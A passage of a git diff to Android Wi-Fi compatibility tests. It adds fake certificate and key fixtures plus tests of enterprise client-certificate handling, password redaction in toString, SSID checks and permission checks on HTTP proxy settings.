+        (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
+        (byte) 0x31, (byte) 0x11, (byte) 0x30, (byte) 0x0f, (byte) 0x06, (byte) 0x03,
+        (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c, (byte) 0x08, (byte) 0x54,
+        (byte) 0x45, (byte) 0x53, (byte) 0x54, (byte) 0x2d, (byte) 0x55, (byte) 0x53,
+        (byte) 0x52, (byte) 0x30, (byte) 0x59, (byte) 0x30, (byte) 0x13, (byte) 0x06,
+        (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x3d,
+        (byte) 0x02, (byte) 0x01, (byte) 0x06, (byte) 0x08, (byte) 0x2a, (byte) 0x86,
+        (byte) 0x48, (byte) 0xce, (byte) 0x3d, (byte) 0x03, (byte) 0x01, (byte) 0x07,
+        (byte) 0x03, (byte) 0x42, (byte) 0x00, (byte) 0x04, (byte) 0x4a, (byte) 0xb8,
+        (byte) 0x60, (byte) 0x17, (byte) 0x40, (byte) 0x91, (byte) 0x30, (byte) 0xf7,
+        (byte) 0xdf, (byte) 0x36, (byte) 0x83, (byte) 0x31, (byte) 0xb5, (byte) 0x3a,
+        (byte) 0xf4, (byte) 0xd4, (byte) 0xa1, (byte) 0xce, (byte) 0xd5, (byte) 0x54,
+        (byte) 0x97, (byte) 0x93, (byte) 0x7e, (byte) 0x7b, (byte) 0x08, (byte) 0x63,
+        (byte) 0x37, (byte) 0x62, (byte) 0xf1, (byte) 0x4e, (byte) 0x6a, (byte) 0x2e,
+        (byte) 0x35, (byte) 0x4e, (byte) 0x9f, (byte) 0x48, (byte) 0xcd, (byte) 0x09,
+        (byte) 0x17, (byte) 0xb3, (byte) 0xc1, (byte) 0x58, (byte) 0x02, (byte) 0x49,
+        (byte) 0x7b, (byte) 0x4c, (byte) 0xf7, (byte) 0x9b, (byte) 0xbb, (byte) 0x1b,
+        (byte) 0x2b, (byte) 0x9c, (byte) 0xe9, (byte) 0x36, (byte) 0xc4, (byte) 0x00,
+        (byte) 0x81, (byte) 0x2c, (byte) 0x28, (byte) 0xd9, (byte) 0x6b, (byte) 0xad,
+        (byte) 0xe3, (byte) 0xe8, (byte) 0xa3, (byte) 0x7b, (byte) 0x30, (byte) 0x79,
+        (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
+        (byte) 0x13, (byte) 0x04, (byte) 0x02, (byte) 0x30, (byte) 0x00, (byte) 0x30,
+        (byte) 0x2c, (byte) 0x06, (byte) 0x09, (byte) 0x60, (byte) 0x86, (byte) 0x48,
+        (byte) 0x01, (byte) 0x86, (byte) 0xf8, (byte) 0x42, (byte) 0x01, (byte) 0x0d,
+        (byte) 0x04, (byte) 0x1f, (byte) 0x16, (byte) 0x1d, (byte) 0x4f, (byte) 0x70,
+        (byte) 0x65, (byte) 0x6e, (byte) 0x53, (byte) 0x53, (byte) 0x4c, (byte) 0x20,
+        (byte) 0x47, (byte) 0x65, (byte) 0x6e, (byte) 0x65, (byte) 0x72, (byte) 0x61,
+        (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x20, (byte) 0x43, (byte) 0x65,
+        (byte) 0x72, (byte) 0x74, (byte) 0x69, (byte) 0x66, (byte) 0x69, (byte) 0x63,
+        (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
+        (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
+        (byte) 0x04, (byte) 0x14, (byte) 0xef, (byte) 0xf0, (byte) 0x15, (byte) 0xd7,
+        (byte) 0xc9, (byte) 0x3e, (byte) 0x9a, (byte) 0x73, (byte) 0xfa, (byte) 0x38,
+        (byte) 0xc5, (byte) 0x81, (byte) 0x84, (byte) 0x74, (byte) 0xd3, (byte) 0x83,
+        (byte) 0x74, (byte) 0x26, (byte) 0xf1, (byte) 0x0b, (byte) 0x30, (byte) 0x1f,
+        (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
+        (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x38,
+        (byte) 0x6a, (byte) 0x9b, (byte) 0xf8, (byte) 0x3c, (byte) 0x0d, (byte) 0x54,
+        (byte) 0x9f, (byte) 0xdf, (byte) 0xf8, (byte) 0x53, (byte) 0x32, (byte) 0xa8,
+        (byte) 0xf7, (byte) 0x09, (byte) 0x15, (byte) 0x08, (byte) 0x76, (byte) 0xab,
+        (byte) 0x8d, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+        (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+        (byte) 0x01, (byte) 0x0b, (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x82,
+        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0xa6, (byte) 0x6c, (byte) 0x18,
+        (byte) 0xa9, (byte) 0x67, (byte) 0x16, (byte) 0x6a, (byte) 0x9e, (byte) 0x23,
+        (byte) 0xb3, (byte) 0x2a, (byte) 0xb8, (byte) 0x16, (byte) 0x7b, (byte) 0xb4,
+        (byte) 0xc8, (byte) 0xbc, (byte) 0x51, (byte) 0xe0, (byte) 0x6f, (byte) 0x05,
+        (byte) 0x66, (byte) 0xa1, (byte) 0x6f, (byte) 0x96, (byte) 0xde, (byte) 0x5b,
+        (byte) 0x41, (byte) 0x60, (byte) 0xe5, (byte) 0x29, (byte) 0x99, (byte) 0x12,
+        (byte) 0xfc, (byte) 0xa9, (byte) 0x91, (byte) 0x23, (byte) 0xb7, (byte) 0x9e,
+        (byte) 0x00, (byte) 0x5f, (byte) 0x93, (byte) 0xd4, (byte) 0xf7, (byte) 0x27,
+        (byte) 0x29, (byte) 0x77, (byte) 0xfb, (byte) 0x53, (byte) 0x09, (byte) 0xdc,
+        (byte) 0xe9, (byte) 0xd0, (byte) 0x5c, (byte) 0x92, (byte) 0x6d, (byte) 0xb7,
+        (byte) 0xcf, (byte) 0x04, (byte) 0xab, (byte) 0xf1, (byte) 0x39, (byte) 0xb9,
+        (byte) 0x49, (byte) 0x23, (byte) 0x7c, (byte) 0x0f, (byte) 0x15, (byte) 0x27,
+        (byte) 0xcd, (byte) 0x65, (byte) 0x3c, (byte) 0x6b, (byte) 0x91, (byte) 0x42,
+        (byte) 0x5a, (byte) 0xfe, (byte) 0xbe, (byte) 0xb8, (byte) 0xa2, (byte) 0xfd,
+        (byte) 0x67, (byte) 0x43, (byte) 0x4b, (byte) 0xc9, (byte) 0x28, (byte) 0x65,
+        (byte) 0x1b, (byte) 0x82, (byte) 0x5b, (byte) 0x25, (byte) 0x20, (byte) 0x9b,
+        (byte) 0xea, (byte) 0x99, (byte) 0xbb, (byte) 0x66, (byte) 0xc1, (byte) 0x8e,
+        (byte) 0x46, (byte) 0x0b, (byte) 0x4e, (byte) 0x06, (byte) 0xdd, (byte) 0x50,
+        (byte) 0x51, (byte) 0x64, (byte) 0xe8, (byte) 0x83, (byte) 0x99, (byte) 0x8e,
+        (byte) 0x53, (byte) 0xe9, (byte) 0x48, (byte) 0x47, (byte) 0x0e, (byte) 0x08,
+        (byte) 0x5e, (byte) 0x0d, (byte) 0x4a, (byte) 0x54, (byte) 0x17, (byte) 0xc1,
+        (byte) 0xf8, (byte) 0xcf, (byte) 0xba, (byte) 0x5c, (byte) 0x38, (byte) 0x70,
+        (byte) 0x33, (byte) 0x31, (byte) 0x22, (byte) 0x03, (byte) 0x6f, (byte) 0x54,
+        (byte) 0x3c, (byte) 0x41, (byte) 0xf0, (byte) 0x89, (byte) 0x85, (byte) 0xbc,
+        (byte) 0x77, (byte) 0x3c, (byte) 0xe8, (byte) 0xec, (byte) 0xb4, (byte) 0x35,
+        (byte) 0x7a, (byte) 0xcc, (byte) 0x8c, (byte) 0x5f, (byte) 0xa1, (byte) 0xed,
+        (byte) 0xa6, (byte) 0x28, (byte) 0x14, (byte) 0xc7, (byte) 0x8a, (byte) 0xef,
+        (byte) 0x56, (byte) 0x26, (byte) 0x35, (byte) 0x46, (byte) 0xab, (byte) 0xb0,
+        (byte) 0x97, (byte) 0xd2, (byte) 0xbd, (byte) 0xa9, (byte) 0x6a, (byte) 0xe4,
+        (byte) 0x3e, (byte) 0x87, (byte) 0xfb, (byte) 0xe1, (byte) 0x09, (byte) 0x8d,
+        (byte) 0x33, (byte) 0x12, (byte) 0xcf, (byte) 0xf0, (byte) 0xc0, (byte) 0xb8,
+        (byte) 0x9b, (byte) 0x9f, (byte) 0xb1, (byte) 0xcb, (byte) 0xac, (byte) 0x76,
+        (byte) 0xa8, (byte) 0x05, (byte) 0x6b, (byte) 0xcc, (byte) 0x41, (byte) 0xd2,
+        (byte) 0x26, (byte) 0x73, (byte) 0xfa, (byte) 0x69, (byte) 0xd3, (byte) 0x1f,
+        (byte) 0xa9, (byte) 0x0c, (byte) 0x6a, (byte) 0xd6, (byte) 0xc9, (byte) 0x35,
+        (byte) 0xc5, (byte) 0xad, (byte) 0xa1, (byte) 0x98, (byte) 0xc9, (byte) 0x78,
+        (byte) 0xa0, (byte) 0xe8, (byte) 0x02, (byte) 0x69, (byte) 0x80, (byte) 0x44,
+        (byte) 0xd9, (byte) 0xe6, (byte) 0xe5, (byte) 0x26, (byte) 0x4f, (byte) 0xcf,
+        (byte) 0x38, (byte) 0xcb, (byte) 0x55, (byte) 0x8c, (byte) 0x7d, (byte) 0x3c,
+        (byte) 0xa8, (byte) 0x82, (byte) 0x69, (byte) 0xa3, (byte) 0xdf, (byte) 0x0a,
+        (byte) 0x79, (byte) 0x7b, (byte) 0xdd, (byte) 0x24, (byte) 0x6a, (byte) 0x21,
+        (byte) 0x7b, (byte) 0x20, (byte) 0x94, (byte) 0xcd, (byte) 0x15, (byte) 0x92,
+        (byte) 0xad, (byte) 0x4a, (byte) 0x72, (byte) 0x0b, (byte) 0x0e, (byte) 0xb2,
+        (byte) 0xc9
+    };
+
+    private static final byte[] FAKE_KEY_3 = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
+            (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
+            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
+            (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
+            (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
+            (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
+            (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
+            (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
+            (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
+            (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
+            (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
+            (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
+            (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
+            (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
+            (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
+            (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
+            (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
+            (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
+            (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
+            (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
+            (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
+            (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
+            (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
+            (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
+            (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
+            (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
+            (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
+            (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
+            (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
+            (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
+            (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
+            (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
+            (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
+            (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
+            (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
+            (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
+            (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
+            (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
+            (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
+            (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
+            (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
+            (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
+            (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
+            (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
+            (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
+            (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
+            (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
+            (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
+            (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
+            (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
+            (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
+            (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
+            (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
+            (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
+            (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
+            (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
+            (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
+            (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
+            (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
+            (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
+            (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
+            (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
+            (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
+            (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
+            (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
+            (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
+            (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
+            (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
+            (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
+            (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+            (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
+            (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
+            (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
+            (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
+            (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
+            (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
+            (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
+            (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
+            (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
+            (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
+            (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
+            (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
+            (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
+            (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
+            (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
+            (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
+            (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
+            (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
+            (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
+            (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
+            (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
+            (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
+            (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
+            (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
+            (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
+            (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
+            (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
+            (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
+            (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
+            (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
+            (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
+            (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
+            (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
+    };
 
     private boolean hasWifi() {
         return getContext().getPackageManager().hasSystemFeature(
@@ -492,7 +735,32 @@
         X509Certificate[] certs = config.getCaCertificates();
         assertTrue(cert1.getSerialNumber().equals(certs[0].getSerialNumber()));
         assertTrue(cert2.getSerialNumber().equals(certs[1].getSerialNumber()));
+
+        X509Certificate clientCert = (X509Certificate) factory.generateCertificate(
+                new ByteArrayInputStream(FAKE_EC_3));
+        KeyFactory kf = KeyFactory.getInstance("RSA");
+        PrivateKey clientKey = kf.generatePrivate(new PKCS8EncodedKeySpec(FAKE_KEY_3));
+
+        config.setClientKeyEntry(clientKey, clientCert);
+        X509Certificate testClientCert = config.getClientCertificate();
+        X509Certificate[] testClientCertChain = config.getClientCertificateChain();
+        assertTrue(clientCert.getSerialNumber().equals(testClientCert.getSerialNumber()));
+        assertTrue(testClientCertChain.length == 1);
+        assertTrue(testClientCertChain[0] == testClientCert);
+
         config.setClientKeyEntry(null, null);
+        assertTrue(config.getClientCertificate() == null);
+        assertTrue(config.getClientCertificateChain() == null);
+
+        config.setClientKeyEntryWithCertificateChain(clientKey,
+                new X509Certificate[]{clientCert, cert1});
+        testClientCert = config.getClientCertificate();
+        testClientCertChain = config.getClientCertificateChain();
+        assertTrue(clientCert.getSerialNumber().equals(testClientCert.getSerialNumber()));
+        assertTrue(testClientCertChain.length == 2);
+        assertTrue(testClientCertChain[0] == testClientCert);
+        assertTrue(testClientCertChain[1] == cert1);
+
         config.setSubjectMatch(SUBJECT_MATCH);
         assertTrue(config.getSubjectMatch().equals(SUBJECT_MATCH));
         // Hotspot 2.0 related attributes
@@ -532,4 +800,15 @@
         }
         return false;
     }
+
+    public void testEnterpriseConfigDoesNotPrintPassword() {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        final String identity = "IdentityIsOkayToBeDisplayedHere";
+        final String password = "PasswordIsNotOkayToBeDisplayedHere";
+        enterpriseConfig.setIdentity(identity);
+        enterpriseConfig.setPassword(password);
+        final String stringRepresentation = enterpriseConfig.toString();
+        assertTrue(stringRepresentation.contains(identity));
+        assertFalse(stringRepresentation.contains(password));
+    }
 }
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 8719b6b..696d215 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -26,6 +26,7 @@
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
+import android.net.wifi.WifiSsid;
 import android.test.AndroidTestCase;
 
 import java.util.concurrent.Callable;
@@ -123,7 +124,7 @@
         SupplicantState.isValidState(wifiInfo.getSupplicantState());
         WifiInfo.getDetailedStateOf(SupplicantState.DISCONNECTED);
         String ssid = wifiInfo.getSSID();
-        if (ssid.startsWith("0x") == false) {
+        if (!ssid.startsWith("0x") && !ssid.equals(WifiSsid.NONE)) {
             // Non-hex string should be quoted
             assertTrue(ssid.charAt(0) == '"');
             assertTrue(ssid.charAt(ssid.length() - 1) == '"');
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 897e5cf..f05ff82 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -22,7 +22,6 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.location.LocationManager;
 import android.net.NetworkInfo;
 import android.net.wifi.ScanResult;
 import android.net.wifi.WifiConfiguration;
@@ -30,13 +29,20 @@
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.TxPacketCountListener;
 import android.net.wifi.WifiManager.WifiLock;
+import android.net.wifi.hotspot2.PasspointConfiguration;
+import android.net.wifi.hotspot2.pps.Credential;
+import android.net.wifi.hotspot2.pps.HomeSp;
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.WifiConfigCreator;
+
 import java.net.HttpURLConnection;
 import java.net.URL;
+import java.security.MessageDigest;
+import java.security.cert.X509Certificate;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -68,6 +74,8 @@
     private static final String TAG = "WifiManagerTest";
     private static final String SSID1 = "\"WifiManagerTest\"";
     private static final String SSID2 = "\"WifiManagerTestModified\"";
+    private static final String PROXY_TEST_SSID = "SomeProxyAp";
+    private static final String ADD_NETWORK_EXCEPTION_SUBSTR = "addNetwork";
     private static final int TIMEOUT_MSEC = 6000;
     private static final int WAIT_MSEC = 60;
     private static final int DURATION = 10000;
@@ -75,6 +83,8 @@
     private static final int WIFI_SCAN_TEST_CACHE_DELAY_MILLIS = 3 * 60 * 1000;
     private static final int WIFI_SCAN_TEST_ITERATIONS = 5;
 
+    private static final String TEST_PAC_URL = "http://www.example.com/proxy.pac";
+
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -213,16 +223,6 @@
         return -1;
     }
 
-    private void assertDisableOthers(WifiConfiguration wifiConfiguration, boolean disableOthers) {
-        for (WifiConfiguration w : mWifiManager.getConfiguredNetworks()) {
-            if ((!w.SSID.equals(wifiConfiguration.SSID)) && w.status != Status.CURRENT) {
-                if (disableOthers) {
-                    assertEquals(Status.DISABLED, w.status);
-                }
-            }
-        }
-    }
-
     /**
      * test point of wifiManager actions:
      * 1.reconnect
@@ -378,7 +378,6 @@
             boolean disableOthers = true;
             assertTrue(mWifiManager.enableNetwork(netId, disableOthers));
             wifiConfiguration = mWifiManager.getConfiguredNetworks().get(pos);
-            assertDisableOthers(wifiConfiguration, disableOthers);
             assertEquals(Status.ENABLED, wifiConfiguration.status);
 
             assertTrue(mWifiManager.disableNetwork(netId));
@@ -405,6 +404,31 @@
         }
     }
 
+    /**
+     * Verifies that addNetwork() fails for WifiConfigurations containing a non-null http proxy when
+     * the caller doesn't have OVERRIDE_WIFI_CONFIG permission, DeviceOwner or ProfileOwner device
+     * management policies
+     */
+    public void testSetHttpProxy_PermissionFail() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiConfigCreator configCreator = new WifiConfigCreator(getContext());
+        boolean exceptionThrown = false;
+        try {
+            configCreator.addHttpProxyNetworkVerifyAndRemove(
+                    PROXY_TEST_SSID, TEST_PAC_URL);
+        } catch (IllegalStateException e) {
+            // addHttpProxyNetworkVerifyAndRemove throws three IllegalStateException,
+            // expect it to throw for the addNetwork operation
+            if (e.getMessage().contains(ADD_NETWORK_EXCEPTION_SUBSTR)) {
+                exceptionThrown = true;
+            }
+        }
